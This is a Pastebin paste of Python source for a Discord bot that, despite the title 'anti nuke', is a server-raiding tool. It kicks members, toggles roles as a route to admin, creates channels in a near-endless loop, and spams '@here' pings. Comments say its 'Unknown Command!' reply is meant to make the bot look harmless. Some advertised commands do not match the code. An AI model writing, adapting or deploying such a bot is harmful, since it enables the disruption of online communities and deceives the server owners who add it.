Advertisement
Guest User

anti nuke

a guest
Aug 20th, 2019
118
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.66 KB | None | 0 0
  1. import discord
  2. from discord.ext.commands import bot
  3. from discord.ext import commands
  4. import random
  5. import asyncio
  6. import time
  7. from threading import Thread
  8. from random import randint
  9. import datetime
  10. import os
  11. import aiohttp
  12. import sys
  13. import traceback
  14. import json
  15. from discord.utils import get
  16.  
  17.  
  18.  
  19. bot = commands.Bot(command_prefix='!')
  20.  
  21. @bot.event
  22. async def on_ready():
  23.     print("BOT ACTIVATED!")
  24.     print("Join my discord! https://discord.gg/tb6pa")
  25.     print("Subscribe me! https://www.youtube.com/c/AhmadWahelsa?sub_confirmation=1")
  26.     print("Bot name: " + bot.user.name)
  27.     print("commands :")
  28.     print("!k : !k (user)")
  29.     print("!b : !b (user)")
  30.     print("!s : spam on a channel")
  31.     print("!r : !r (role name) u can use this to give yourself admin")
  32.     print("!c : channel spam")
  33.     print('discord version: ' + discord.__version__)
  34.  
  35. @bot.command(pass_context = True)
  36. async def k(ctx, member : discord.Member, *, reason=None):
  37.     await member.kick(reason=reason)
  38.     await ctx.send(f"Kicked {member}\nReason: {reason}")
  39.  
  40. @bot.command()
  41. async def role(ctx, member: discord.Member, role: discord.Role):
  42.         if role in member.roles:
  43.                 await member.remove_roles(role)
  44.                 await ctx.channel.send('your text here')
  45.         else:
  46.                 await member.add_roles(role)
  47.                 await ctx.channel.send('text')
  48.                
  49. @bot.command(pass_context=True)
  50. async def c(ctx):
  51.     await ctx.send("Unknown Command!") #idk ignore this just to make sure some people that this bot isnt dangerous
  52.     time.sleep(2)
  53.     for i in range (0,10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000):
  54.         await ctx.guild.create_text_channel('weeeeeee', type=discord.ChannelType.text) #you can change the channel name by replacing 'nuked' to any name@bot.command(pass_context=True)
  55.  
  56. @bot.command(pass_context=True)
  57. async def n(ctx):
  58.     for textchannel in ctx.guild.text_channels:
  59.         await ctx.send('!s')
  60.  
  61. @bot.command(pass_context=True)
  62. async def s(ctx):
  63.     await ctx.send("Unknown Command!") #idk ignore this just to make sure some people that this bot isnt dangerous
  64.     time.sleep(2)
  65.     for i in range (0,10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000):
  66.         await ctx.send("@here") #text 1 goes here
  67.         await ctx.send("@here") #text 2 goes here
  68.    
  69.  
  70.  
  71. bot.run ("bot token") #your bot token (please dont use your discord account token otherwise your account will get banned maybe)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement